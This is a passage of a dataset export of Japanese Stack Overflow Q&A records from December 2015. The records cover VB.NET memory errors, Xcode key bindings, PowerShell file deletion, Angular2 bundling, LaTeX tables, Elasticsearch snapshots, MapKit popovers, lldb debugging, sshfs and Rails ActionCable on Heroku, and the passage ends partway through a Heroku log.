question
dict
answers
list
id
stringlengths
2
5
accepted_answer_id
stringlengths
2
5
popular_answer_id
stringlengths
2
5
{ "accepted_answer_id": null, "answer_count": 2, "body": "VB.netでのWindowsアプリケーション開発をしています。 \nString文字列の連結においてOutOfMemoryExceptionのエラーがスローされます。\n\n手法としてはSingleの数値をカンマで区切り、1000個のカンマ区切り文字列を作成します。 \nその文字列は「temp_Str as String」の変数に格納していくのですが、 \n大型のループ処理で10万件以上作成されたところで上記のエラーが発生します。 \n(時間にして2~3時間程度経過した時点)\n\n少なくとも数100万件の処理を行いたいのですが、 \nうまくメモリー管理をする方法はないでしょうか? \n今現在GC.CollectやRemove等の処理は入れているのですが、あまり効果がありません。 \nよろしくお願いいたします。", "comment_count": 4, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-22T08:49:22.463", "favorite_count": 0, "id": "20288", "last_activity_date": "2017-02-13T11:44:28.500", "last_edit_date": "2015-12-22T11:35:50.213", "last_editor_user_id": "2238", "owner_user_id": "13765", "post_type": "question", "score": -4, "tags": [ "windows", "visual-studio", "vb.net" ], "title": "Stringの連結時のOutOfMemoryExceptionを回避する方法", "view_count": 16536 }
[ { "body": "「String文字列の連結にはStringBuilderを使うのがいいですよ」と回答を書こうとしてコード例を作ったところ、件数が多すぎてStringBuilderを使ってもOutofMemoryExceptionが出てしまいました。\n\n件数が多くてメモリ上で全件を処理できない場合、行ごとに処理をするよう発想を変えるのがベターだと思います。\n\nこの方法なら数100万件を超えても、ディスク容量の許す限りエラーにはなりません。 \n※分散処理でDBにでも格納するのがベストかもしれませんが、環境のセットアップなどが必要になるためここでは扱いません。\n\n以下は `C:\\tmp123456789.txt` というファイルを一時的に書き出して、各行ごとに処理してからファイルを消すサンプルコードです。 \n手元の環境では1万行に対して30秒ほどで出力が、80秒ほどで全体の処理が終わりました。\n\n```\n\n Imports System.IO\n \n Module Module1\n \n Sub Main()\n Dim tmpFile = \"C:\\tmp123456789.txt\" \n \n Dim stopwatch As New Stopwatch\n stopwatch.Start()\n \n Dim rnd As Random = New Random\n '件数が多いのでStringBuilderでもメモリ不足\n 'Dim sb As StringBuilder = New StringBuilder\n 'ファイルを開いておいて逐次出力\n Dim writer As New StreamWriter(tmpFile, False)\n 'ある程度データがたまったら自動書き出しするモード\n writer.AutoFlush = True\n \n '10の5乗 = 10,000\n For i = 1 To Math.Pow(10, 5)\n Dim list As List(Of Single) = New List(Of Single)\n '行データ作成\n For j = 1 To 1000\n list.Add(CType(rnd.NextDouble(), Single))\n Next\n '行データ出力(全件データを一気に扱う必要がなければ、StreamWriterを使わずにここで各行の処理をしてもいいです)\n writer.WriteLine(String.Join(\",\", list))\n Next\n writer.Close()\n Dim msg1 = String.Format(\"テンポラリファイル作成時間: {0} 秒\", stopwatch.ElapsedMilliseconds / 1000)\n Console.WriteLine(msg1)\n 'ファイル出力が目的ならここでおしまい。\n \n 'テンポラリファイルの各行を読み出しながら処理\n Dim total As Double = 0\n Dim reader As New StreamReader(tmpFile)\n \n ' 読み込みできる文字がなくなるまで繰り返す\n While (Not reader.EndOfStream)\n ' ファイルを 1 行ずつ読み込む\n Dim line = reader.ReadLine\n '何か処理する(ここではサンプルとして加算している)\n For Each s In line.Split(\",\")\n total += Single.Parse(s)\n Next\n End While\n reader.Close()\n '後始末\n File.Delete(tmpFile)\n \n Dim msg2 = String.Format(\"処理完了時間: {0} 秒\", stopwatch.ElapsedMilliseconds / 1000)\n Console.WriteLine(msg2)\n Console.WriteLine(\"合計値は {0} です。\", total)\n Console.ReadLine()\n End Sub\n \n End Module\n \n```", "comment_count": 3, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-22T10:35:25.940", "id": "20293", "last_activity_date": "2015-12-22T23:25:00.453", "last_edit_date": "2015-12-22T23:25:00.453", "last_editor_user_id": "9820", "owner_user_id": "9820", "parent_id": "20288", "post_type": "answer", "score": 3 }, { "body": "yhataさんの指摘も踏まえて回答を改めます。\n\nString結合を無制限に繰り返すことが原因で`OutOfMemoryException`が発生する場合ですが、例外が表しているようにメモリ不足の可能性があります。32bitアプリケーションでは2GBのメモリを使用できますが、その全てがデータに使えるわけではないため、それよりも少ない使用量でも`OutOfMemoryException`が発生します。 \n`String`の代わりに`StringBuilder`を使用することで処理速度は向上しますが、処理可能なデータ量はほぼほぼ改善されません。結局、処理方法を抜本的に見直す必要があります。少なくともString結合を無制限に繰り返すことはできません。 \n必然的にString結合はある程度、少量に抑えられることになるはずですが、その際に作成される文字列が約4万文字以下に抑えられるのであればString結合と`StringBuilder`とにメモリ上の優劣はありません。(4万文字の根拠は、.NETにおいてオブジェクトサイズが85KB未満・以上とで管理方法が異なることに起因します。) \n例えば今回であれば、全件を一気に処理せず1件ずつ処理するように見直した方がいいかもしれません。その場合、1件のデータは\n\n> Singleの数値をカンマで区切り、1000個のカンマ区切り文字列\n\nとのことですが、この程度であれば最悪ケースでも1万文字程度に収まります。\n\n* * *\n\n`StringBuilder`はyhataさんが説明されているように大きな文字列を作成しても85KB未満に収まるように分割管理されているため文字列編集のパフォーマンスに優れます。ただし、これは.NET\n4にて改善されたもので、.NET\n3.5以前では享受できませんので気を付ける必要があります。その場合どうすべきかというと、予め文字列長を見積もり、`StringBuilder.Capacity`プロパティを設定することです。これにより事前にメモリ確保をし、文字列編集時の逐次メモリ拡張を排除できます。", "comment_count": 7, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-22T12:35:03.697", "id": "20296", "last_activity_date": "2015-12-24T02:05:58.897", "last_edit_date": "2015-12-24T02:05:58.897", "last_editor_user_id": "4236", "owner_user_id": "4236", "parent_id": "20288", "post_type": "answer", "score": 3 } ]
20288
null
20293
{ "accepted_answer_id": null, "answer_count": 2, "body": "Key Bindings内の、「Move Focus To Next Area」のキーを変えようと思っているのですが、 \nデフォルトの「cmd + alt + `」から変えても、 \n「Move Focus To Next Area」と「Move Focus To Previous\nArea」でキーバインドが被っていると怒られてしまいます。 \n変えようにも選択出来ないのでどうしたら良いか分からず困っています。 \n宜しくお願い致します。\n\n以下環境 \nMacOSX 10.9.5 \nXcode 6.2 \nJISキーボード \n入力ソース ことえり、U.S.", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-22T09:52:33.803", "favorite_count": 0, "id": "20290", "last_activity_date": "2016-10-16T10:25:00.463", "last_edit_date": "2016-10-16T10:25:00.463", "last_editor_user_id": "754", "owner_user_id": "13766", "post_type": "question", "score": 0, "tags": [ "xcode", "macos", "xcode6", "os-x-key-bindings" ], "title": "XcodeのKey Bindings設定がうまくいかない", "view_count": 558 }
[ { "body": "いったん `Move Focus To Next Area` の行を選択した状態で `delete` キーを押して既定の割り当てに戻してから、再び Key\nを変更すると、上手くいくかもしれません。\n\n[![Move Focus To Next Area\nの行を選択](https://i.stack.imgur.com/c7YHg.png)](https://i.stack.imgur.com/c7YHg.png)\n\n通常 `Move Focus To Next Area` に設定した Key に Shift が加えられたものが `Move Focus To\nPrevious Area` の Key に自動で割り当てられるようなのですけど、具体的な再現方法まではわかりませんが、何かの拍子で両方に同じ Key\nが割り当てられてしまう様子です。\n\nいったん既定の設定にリセットしてあげると、同じキーが設定されてしまう状況もいったんリセットされる様子でした。", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-22T13:52:02.507", "id": "20300", "last_activity_date": "2015-12-22T13:52:02.507", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "2530", "parent_id": "20290", "post_type": "answer", "score": 1 }, { "body": "もし好みのキーバインドを割り当てることが最優先なら OS X の `システム環境設定` から `キーボード` の `ショートカット`\nを設定する方法もあります。\n\n左枠で `アプリケーション` を選択して、そこに \"Xcode\" を対象にして `Navigate->Move Focus To Next Area` や\n`Navigate->Move Focus To Previous Area` にキーを割り当てると、そのキーを使って操作できるようになります。\n\n[![画像の説明をここに入力](https://i.stack.imgur.com/oH1oQ.png)](https://i.stack.imgur.com/oH1oQ.png)", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-25T03:47:08.597", "id": "20352", "last_activity_date": "2015-12-25T03:47:08.597", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "2530", "parent_id": "20290", "post_type": "answer", "score": 0 } ]
20290
null
20300
{ "accepted_answer_id": "20297", "answer_count": 1, "body": "スクリプト開発初心者です。\n\n同じフォルダ内に、pngファイルと、txtファイルがいくつかあり、 \n作成日が一番古いtxtファイルだけを削除する処理を実装したく、 \n下記のコードを参考に考えているのですが、 \n作成日が一番古いファイルの抽出方法が思いつきません。 \n何か良い方法、もしくは、このコマンドを使った方が良いなど \nありましたら教えていただけると幸いです。\n\n回答、お願い致します。\n\n```\n\n $files = Get-ChildItem <対象フォルダのパス> | Sort-Object -Descending -Property LastWriteTime\n $files = $files[1 .. $files.length]\n foreach($file in $files)\n {\n Remove-Item $file\n }\n \n```", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-22T10:27:44.317", "favorite_count": 0, "id": "20292", "last_activity_date": "2015-12-22T12:47:02.433", "last_edit_date": "2015-12-22T12:47:02.433", "last_editor_user_id": "4236", "owner_user_id": "13607", "post_type": "question", "score": 1, "tags": [ "powershell" ], "title": "フォルダ内にある2つ違う形式のファイルのうち、片方の作成日が一番古いファイルを削除", "view_count": 533 }
[ { "body": "[Select-Object](https://technet.microsoft.com/ja-\njp/library/hh849895.aspx)を使うことでしょうか。`-First`または`-Last`で指定個数を取得できます。\n\n```\n\n Get-ChildItem \"対象フォルダのパス\" | Sort-Object LastWriteTime | Select-Object -First 1 | Remove-Item\n \n```\n\n尚、`LastWriteTime`は更新日であり`CreationTime`が作成日になります。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-22T12:46:52.743", "id": "20297", "last_activity_date": "2015-12-22T12:46:52.743", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "4236", "parent_id": "20292", "post_type": "answer", "score": 0 } ]
20292
20297
20297
{ "accepted_answer_id": null, "answer_count": 2, "body": "Angular2公式[チュートリアル3](https://angular.io/docs/ts/latest/tutorial/toh-\npt3.html)を見ると、下記の4つ .ts ファイルがありますが、\n\n * app.component.ts\n * boot.ts\n * hero.ts\n * hero-detail.component.ts\n\n例えば `app.component.ts` を見ると、下記のように import しています。\n\n```\n\n import {Hero} from './hero';\n import {HeroDetailComponent} from './hero-detail.component';\n \n```\n\ngulp でコンパイルを *.ts として個別に行うのはもちろん問題はないのですが、ひとつの.jsファイルにまとめたい場合はどのようにすればよいでしょうか? \nはじめにまとめてロードすることで、HTTPリクエストを減らしたいと思っています。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-22T12:52:47.773", "favorite_count": 0, "id": "20298", "last_activity_date": "2016-11-07T09:14:27.710", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "13768", "post_type": "question", "score": 0, "tags": [ "angularjs", "gulp", "typescript" ], "title": "Angular2 で複数のTypeScriptファイルをひとつにまとめるには?", "view_count": 1069 }
[ { "body": "TypeScript\n1.8でAMDやsystemモジュールを1ファイルに結合できるようになるそうですが、現状まだ無理なので、moduleをcommonjsでコンパイルしbrowserifyを使うとまとめられます。\n\n```\n\n //tsconfig.json\n {\n \"compilerOptions\": {\n \"target\": \"ES5\",\n \"module\": \"system\",\n ...\n \n \n $ npm i browserify\n $ npm run tsc\n $ ./node_modules/.bin/browserify app/boot.js -o app/app.js\n \n```", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-25T02:27:54.000", "id": "20350", "last_activity_date": "2015-12-25T02:27:54.000", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "241", "parent_id": "20298", "post_type": "answer", "score": 1 }, { "body": "tsconfig.jsonで\n`compilarOptions`の`out`プロパティに出力先ファイル名を指定すればimportやrequireが解決されて結合された状態でコンパイルされます。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2016-02-15T14:25:04.970", "id": "22118", "last_activity_date": "2016-02-15T14:25:04.970", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "4635", "parent_id": "20298", "post_type": "answer", "score": 1 } ]
20298
null
20350
{ "accepted_answer_id": null, "answer_count": 0, "body": "texで線だけで区切るの表を作成しているのですが、 \n作成した表に,二重線(空のセルみたいなもの?)が発生します。\n\n作りたいファイルとしては,excelで線だけで囲んで作るような表です。 \nしかし、4列目に二重線(空のセルみたいなもの?)ができてしまうので、それを消したいです。 \n現時点では、 \n<http://www.latex-cmd.com/fig_tab/table01.html> \nのリンク先を参考にしているのですが、表に何かの付け加え方くらいしかわかりませんでした。 \n以下に、texファイルの表の部分を示します。\n\n```\n\n \\begin{table}[htb]\n \\begin{center}\n \\caption{2015年におけるStack Overflowの質問件数}\n \\begin{tabular}{|l|c|r||r|} \\hline\n & タグ名(XML) & 説明 \\\\ \\hline\n 質問id & id & 投稿順に付与される質問のid \\\\ \\hline\n 質問id & id & 投稿順に付与される質問のid \\\\ \\hline\n 質問id & id & 投稿順に付与される質問のid \\\\ \\hline\n \\end{tabular}\n \\label{tab:no_ans_question}\n \\end{center}\n \\end{table}\n \n```", "comment_count": 3, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-22T15:02:58.300", "favorite_count": 0, "id": "20302", "last_activity_date": "2015-12-22T17:42:43.837", "last_edit_date": "2015-12-22T17:42:43.837", "last_editor_user_id": "754", "owner_user_id": "9505", "post_type": "question", "score": 1, "tags": [ "latex" ], "title": "texで線だけで区切るの表を作成しているときに,二重線(空のセルみたいなもの?)が発生する", "view_count": 1251 }
[]
20302
null
null
{ "accepted_answer_id": "20304", "answer_count": 1, "body": "Elasticsearch の snapshot API を利用する際に、URL を指定することで、 Read-only\nのレポジトリとして取り扱うことができると、公式ドキュメントには記述があります。またその URL のプロトコルはいくつかの種類が利用可能で、その中に HTTP\nが含まれる、と記述されています。 (参照:\n<https://www.elastic.co/guide/en/elasticsearch/reference/current/modules-\nsnapshots.html#_read_only_url_repository> )\n\nまた、前提として、 Elasticsearch snapshot の中身は、 lucene indices +\nメタデータのファイルたちから構成される、一種のディレクトリ構造であること理解しています。\n\nそうであるとすると、 HTTP URL の read-only のレポジトリからデータを restore するためには、 ディレクトリに対応する URL に\nGET リクエストを送った場合には、そのディレクトリに含まれるファイル一覧が、特定の形式で帰ってこなければならない、と考えています。\n\nQ1: 自分の理解は正しいでしょうか \nQ2: そうであった場合、そのディレクトリに対して GET\nをした際のレスポンスは、どのような仕様に従うべきなのでしょうか。(どのような形式で返ってきていれば、それは URL レポジトリとして動作するのでしょうか)", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-22T17:03:20.983", "favorite_count": 0, "id": "20303", "last_activity_date": "2015-12-23T23:41:20.780", "last_edit_date": "2015-12-22T18:06:30.597", "last_editor_user_id": "754", "owner_user_id": "754", "post_type": "question", "score": 0, "tags": [ "elasticsearch" ], "title": "Elasticsearch の HTTP URL レポジトリは仕様として、ディレクトリの URL では何を返す必要がある?", "view_count": 245 }
[ { "body": "urlタイプを試す前にリンク先のドキュメントにfsタイプを試してみてください。Elasticsearchのconfigで`path.repo`にサーチパスを指定してfsタイプでスナップショットを取ると、次のようなディレクトリ構成が出来上がります。下の例は`backups/my_backup`というディレクトリにsnapshot_1という名前のスナップショットを作成した例です。Elasticsearchはここからmetadata-\nスナップショット名のファイルを読み込んでいます。\n\nWebサーバはmy_backupがルートになるように設定します。つまり`http://ホスト名/パス/`でアクセスした時にindex, indices,\nmetadata-スナップショット名, snapshot-\nスナップショット名が見えていればOKです。Elasticsearchのconfigでは`repositories.url.allowed_urls:\n[\"http://ホスト名/*\"]`というように許可するURLをセットしておきます。\n\n```\n\n $ tree backups\n backups\n └── my_backup\n ├── index\n ├── indices\n │   └── myindex\n │   ├── 0\n │   │   ├── __0\n │   │   ├── __1\n │   │   ├── __2\n │   │   ├── __3\n │   │   ├── __4\n │   │   ├── __5\n │   │   ├── __6\n │   │   ├── __7\n │   │   ├── __8\n │   │   ├── __9\n │   │   ├── __a\n │   │   ├── __b\n │   │   ├── __c\n │   │   └── snapshot-snapshot_1\n │   ├── 1\n │   │   ├── __0\n │   │   ├── __1\n │   │   ├── __2\n │   │   ├── __3\n │   │   └── snapshot-snapshot_1\n │   ├── 2\n │   │   ├── __0\n │   │   ├── __1\n │   │   ├── __2\n │   │   ├── __3\n │   │   ├── __4\n │   │   ├── __5\n │   │   ├── __6\n │   │   ├── __7\n │   │   ├── __8\n │   │   ├── __9\n │   │   ├── __a\n │   │   ├── __b\n │   │   ├── __c\n │   │   ├── __d\n │   │   ├── __e\n │   │   ├── __f\n │   │   └── snapshot-snapshot_1\n │   ├── 3\n │   │   ├── __0\n │   │   ├── __1\n │   │   ├── __2\n │   │   ├── __3\n │   │   ├── __4\n │   │   ├── __5\n │   │   ├── __6\n │   │   ├── __7\n │   │   ├── __8\n │   │   ├── __9\n │   │   ├── __a\n │   │   ├── __b\n │   │   ├── __c\n │   │   └── snapshot-snapshot_1\n │   ├── 4\n │   │   ├── __0\n │   │   ├── __1\n │   │   ├── __2\n │   │   ├── __3\n │   │   ├── __4\n │   │   ├── __5\n │   │   ├── __6\n │   │   ├── __7\n │   │   ├── __8\n │   │   ├── __9\n │   │   ├── __a\n │   │   ├── __b\n │   │   ├── __c\n │   │   ├── __d\n │   │   ├── __e\n │   │   ├── __f\n │   │   ├── __g\n │   │   ├── __h\n │   │   ├── __i\n │   │   └── snapshot-snapshot_1\n │   └── snapshot-snapshot_1\n ├── metadata-snapshot_1\n └── snapshot-snapshot_1\n \n 8 directories, 74 files\n \n```", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-22T18:53:47.963", "id": "20304", "last_activity_date": "2015-12-23T23:41:20.780", "last_edit_date": "2015-12-23T23:41:20.780", "last_editor_user_id": "7837", "owner_user_id": "7837", "parent_id": "20303", "post_type": "answer", "score": 1 } ]
20303
20304
20304
{ "accepted_answer_id": null, "answer_count": 1, "body": "appleの標準のマップのようにピンに吹き出しがくっつくようにしたいです \n画面遷移はstoryBoardを使っています\n\n画面遷移に関するメソッド\n\n```\n\n func mapView(mapView: MKMapView, viewForAnnotation annotation: MKAnnotation) -> MKAnnotationView? {\n if annotation is MKUserLocation {\n return nil\n }\n \n // Identifier\n let myAnnotationIdentifier = \"myAnnotation\"\n \n // AnnotationViewをdequeue\n var myAnnotationView : MKAnnotationView! = mapView.dequeueReusableAnnotationViewWithIdentifier(myAnnotationIdentifier)\n \n //アノテーションの右側につけるボタンの設定\n let button:UIButton = UIButton(type: UIButtonType.InfoLight)\n if myAnnotationView == nil {\n myAnnotationView = MKPinAnnotationView(annotation: annotation, reuseIdentifier: myAnnotationIdentifier)\n \n //アノテーションの右側にボタンを付ける\n myAnnotationView.rightCalloutAccessoryView = button\n myAnnotationView.canShowCallout = true\n }\n return myAnnotationView\n }\n \n func mapView(mapView: MKMapView, annotationView view: MKAnnotationView, calloutAccessoryControlTapped control: UIControl) {\n \n print(\"tapped\")\n self.performSegueWithIdentifier(\"detailController\", sender: view)\n \n }\n \n```\n\nこんな感じです。ピンの右側に「i」のボタンを付け、ボタンタップで詳細画面のポップオーバーが出る という形にしたいです。\n\nstoryBoardはマップのビューとポップオーバーのビューの二つがあります \n[![storyBoard](https://i.stack.imgur.com/KXjTg.jpg)](https://i.stack.imgur.com/KXjTg.jpg)\n\nここで、「anchor」の項目に吹き出しの指定をしなければいけないのですが、mapの中のピンを指定する場合はどのように記述すればいいのでしょうか? \nよろしくお願いします。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-22T19:49:24.917", "favorite_count": 0, "id": "20305", "last_activity_date": "2015-12-24T04:00:21.400", "last_edit_date": "2015-12-24T04:00:21.400", "last_editor_user_id": "8044", "owner_user_id": "8044", "post_type": "question", "score": 0, "tags": [ "ios", "swift" ], "title": "Mapのpin(annotation)へ向けたポップオーバーを生成する", "view_count": 221 }
[ { "body": "ピンはアプリの実行中に動的に生成されるものなので、Storyboard 上で Anchor として指定するのは難しいと思います。\n\nStoryboard 上での Popover 表示の実装は初めて試してみたのですが、おっしゃる通り、Anchor\nを設定しないままだとエラーが出て、アプリのビルドに失敗してしまうのですね。ということは、Anchor だけコードで指定する、という方法も無理そうです。\n\nということは、Storyboard 上で Segue を設定するのもやめて、コードだけで Popover 表示するしかなさそうです。コードだけで\nPopover を表示する方法については、`UIPopoverPresentationController`\nのドキュメントに具体的なコードが載っているので、参考にしてみてください:\n\n[UIPopoverPresentationController Class\nReference](https://developer.apple.com/library/ios/documentation/UIKit/Reference/UIPopoverPresentationController_class/index.html) \n※ なぜか Objective-C 版のドキュメントにしかコードは載っていません。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-23T10:40:10.843", "id": "20312", "last_activity_date": "2015-12-23T10:40:10.843", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "2299", "parent_id": "20305", "post_type": "answer", "score": 1 } ]
20305
null
20312
{ "accepted_answer_id": null, "answer_count": 1, "body": "[こちら](http://homepage1.nifty.com/Ike/ComShogi/01.html)のサイトを参考にコンピュータ将棋を作成中です。 \n今回質問したいのは、C++のデバッグ方法です。理想はRailsでいう`binding.pry`とかで処理を止めて変数の中身を見たいのです。\n\nそこでコマンドラインからデバッグしたい衝動にかられていたこともあり、macに標準で備わっているという`lldb`を使ってこの[サイト](http://homepage1.nifty.com/Ike/ComShogi/02.html)のchapter2をデバッグしてみました。以下打ち込んだコマンドです。\n\nmakefileでコンパイルしたあと、\n\n```\n\n lldb ./shogi\n b kyokumen.c:29\n r\n \n```\n\nブレイクポイントを設定し`kyokumen.c`の29行目で止めたかったのですが、、普通に`./shogi`コマンドを打ったときのように将棋プログラムが起動してしまい止まったかどうかがわかりません。\n\n理想は以下のような形で止めたいです。\n\n```\n\n (lldb) r\n Process 93890 launched: '/Path/To/hoge' (x86_64)\n Process 93890 stopped\n * thread #1: tid = 0x53c0ae, 0x0000000100000f23 hoge`main(argc=1, argv=0x00007fff5fbff460) + 51 at hoge.c:6, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1\n frame #0: 0x0000000100000f23 hoge`main(argc=1, argv=0x00007fff5fbff460) + 51 at hoge.c:6\n 3 int main(int argc, char **argv) {\n 4 char *test = \"This is a debug demo.\";\n 5 char *name = \"edo\";\n -> 6 int age = 20;\n 7\n 8 printf(\"Name: %s, Age: %d\\n\", name, age);\n 9\n (lldb)\n \n```\n\n何か解決方法ございましたらご教示いただきたいです。", "comment_count": 3, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-23T01:40:28.830", "favorite_count": 0, "id": "20306", "last_activity_date": "2015-12-24T01:42:39.910", "last_edit_date": "2015-12-23T02:20:17.917", "last_editor_user_id": "3639", "owner_user_id": "13652", "post_type": "question", "score": 1, "tags": [ "c++", "macos" ], "title": "C++デバッグについて", "view_count": 299 }
[ { "body": "コンパイラは何を使っていますか? コンパイルの際に、`-g`\nなどのオプションを付けてデバッグ情報付きでコンパイルを行わないと、ブレークポイントで止めるといったことができないように思います。", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-24T01:42:39.910", "id": "20325", "last_activity_date": "2015-12-24T01:42:39.910", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "264", "parent_id": "20306", "post_type": "answer", "score": 2 } ]
20306
null
20325
{ "accepted_answer_id": "20324", "answer_count": 1, "body": "Windows7でatomを使用しています。 \nローカルにあるGit管理下のファイルは当然編集できるのですが、 \nCentOS上にあるGit管理下のファイルを直接編集する方法はありますか?\n\n現在は、ローカルにある作業ディレクトリでコミットしたものなどを、 \nCentOS上の共有リポジトリにプッシュしています。 \nそれを、CentOS上に作業ディレクトリを作ってそこで作業したものを、 \nCentOS上の共有リポジトリに反映するようにしたいです。\n\n何か方法はありますでしょうか?", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-23T04:21:06.120", "favorite_count": 0, "id": "20307", "last_activity_date": "2015-12-24T10:02:02.417", "last_edit_date": "2015-12-24T10:02:02.417", "last_editor_user_id": "5008", "owner_user_id": "9358", "post_type": "question", "score": 4, "tags": [ "linux", "git", "atom-editor", "filesystems" ], "title": "atomでCentOS上のGit管理下のファイルを編集する", "view_count": 333 }
[ { "body": "h2so5さんからのコメントで解決。\n\n下記URLを参考にwin-sshfsをインストールしました。 \n<http://www.maruko2.com/mw/Windows_%E3%81%A7_sshfs_%E3%82%92%E5%88%A9%E7%94%A8%E3%81%99%E3%82%8B%E6%96%B9%E6%B3%95>", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-24T01:12:40.637", "id": "20324", "last_activity_date": "2015-12-24T01:12:40.637", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "9358", "parent_id": "20307", "post_type": "answer", "score": 3 } ]
20307
20324
20324
{ "accepted_answer_id": "20361", "answer_count": 1, "body": "以下のリンクを参考にlocalではrails5のチャットアプリを作成できました。 \n<http://qiita.com/jnchito/items/aec75fab42804287d71b>\n\nherokuでも動作させようと思いいろいろやってみましたがうまくいきません。 \n1日かかっても検討がつかない為質問させていただきました。 \n何か助言をいただけないでしょうか。\n\nherokuで追加でやったことは \n・rediscloudをアドオンで追加 \n・/config/redis/cable.yml のproduction:urlをENV[\"REDISCLOUD_URL\"]に変更(なんとなく)\n\nchromeのnetworkでは以下のようなエラー\n\n> WebSocket connection to 'wss://rails5chatxxxx.herokuapp.com/cable' failed: \n> WebSocket is closed before the connection is established.\n\nherokuのlogでは \nアプリ起動時\n\n> 2015-12-23T05:24:32.308667+00:00 app[web.1]: => Booting Puma \n> 2015-12-23T05:24:32.308689+00:00 app[web.1]: => Rails 5.0.0.beta1\n> application starting in production on ttp://0.0.0.0:43766 \n> 2015-12-23T05:24:32.308690+00:00 app[web.1]: => Run `rails server -h` for\n> more startup options \n> 2015-12-23T05:24:32.308691+00:00 app[web.1]: => Ctrl-C to shutdown server \n> 2015-12-23T05:24:32.380698+00:00 app[web.1]: DEPRECATION WARNING:\n> `serve_static_files` is deprecated and will be removed in Rails 5.1. \n> 2015-12-23T05:24:32.380702+00:00 app[web.1]: Please use\n> `public_file_server.enabled = true` instead. \n> 2015-12-23T05:24:32.380703+00:00 app[web.1]: (called from block in\n> tsort_each at /app/vendor/ruby-2.3.0/lib/ruby/2.3.0/tsort.rb:228) \n> 2015-12-23T05:24:32.864256+00:00 app[worker.1]: rake aborted! \n> 2015-12-23T05:24:32.864271+00:00 app[worker.1]: Don't know how to build\n> task 'jobs:work' \n> 2015-12-23T05:24:32.864445+00:00 app[worker.1]: \n> 2015-12-23T05:24:32.864465+00:00 app[worker.1]: (See full trace by running\n> task with --trace) \n> 2015-12-23T05:24:33.073776+00:00 heroku[web.1]: Process exited with status\n> 143 \n> 2015-12-23T05:24:33.050125+00:00 app[web.1]: Puma 2.15.3 starting... \n> 2015-12-23T05:24:33.050130+00:00 app[web.1]: * Min threads: 0, max threads:\n> 16 \n> 2015-12-23T05:24:33.050131+00:00 app[web.1]: * Environment: production \n> 2015-12-23T05:24:33.050132+00:00 app[web.1]: * Listening on\n> tcp://0.0.0.0:43766 \n> 2015-12-23T05:24:33.598097+00:00 heroku[worker.1]: State changed from up to\n> crashed \n> 2015-12-23T05:24:33.577983+00:00 heroku[worker.1]: Process exited with\n> status 1\n\nその後以下の様なログが繰り返されます\n\n> 2015-12-23T05:31:46.633164+00:00 heroku[router]: at=error code=H12\n> desc=\"Request timeout\" method=GET path=\"/cable\"\n> host=rails5chatxxxx.herokuapp.com\n> request_id=00ff5924-89b8-4fbc-b738-4ffa0bf84981 fwd=\"119.83.217.68\"\n> dyno=web.1 connect=1ms service=30001ms status=503 bytes=0 \n> 2015-12-23T05:32:07.671155+00:00 heroku[router]: at=error code=H12\n> desc=\"Request timeout\" method=GET path=\"/cable\"\n> host=rails5chat.herokuapp.com\n> request_id=b925dc28-e0b4-40ac-b0e2-79a4f142e6b0 fwd=\"119.83.217.68\"\n> dyno=web.1 connect=1ms service=30001ms status=503 bytes=0 \n> 2015-12-23T05:32:11.828813+00:00 app[web.1]: Started GET \"/cable\" for\n> 119.83.217.68 at 2015-12-23 05:32:11 +0000 \n> 2015-12-23T05:32:11.831413+00:00 app[web.1]: Started GET \"/cable/\"\n> [WebSocket] for 119.83.217.68 at 2015-12-23 05:32:11 +0000 \n> 2015-12-23T05:32:11.831491+00:00 app[web.1]: Request origin not allowed:\n> ttps://rails5chatxxxx.herokuapp.com \n> 2015-12-23T05:32:11.831555+00:00 app[web.1]: Finished \"/cable/\" [WebSocket]\n> for 119.83.217.68 at 2015-12-23 05:32:11 +0000 \n> 2015-12-23T05:32:15.689969+00:00 app[web.1]: Started GET \"/cable\" for\n> 119.83.217.68 at 2015-12-23 05:32:15 +0000 \n> 2015-12-23T05:32:15.693371+00:00 app[web.1]: Started GET \"/cable/\"\n> [WebSocket] for 119.83.217.68 at 2015-12-23 05:32:15 +0000 \n> 2015-12-23T05:32:15.693418+00:00 app[web.1]: Request origin not allowed:\n> ttps://rails5chatxxxx.herokuapp.com \n> 2015-12-23T05:32:15.693490+00:00 app[web.1]: Finished \"/cable/\" [WebSocket]\n> for 119.83.217.68 at 2015-12-23 05:32:15 +0000 \n> 2015-12-23T05:32:16.353150+00:00 heroku[router]: at=error code=H12\n> desc=\"Request timeout\" method=GET path=\"/cable\"\n> host=rails5chatxxxx.herokuapp.com\n> request_id=56c96769-e94b-49f2-bd45-d69fdb850058 fwd=\"119.83.217.68\"\n> dyno=web.1 connect=15ms service=30000ms status=503 bytes=0 \n> 2015-12-23T05:32:38.642087+00:00 app[web.1]: Started GET \"/cable\" for\n> 119.83.217.68 at 2015-12-23 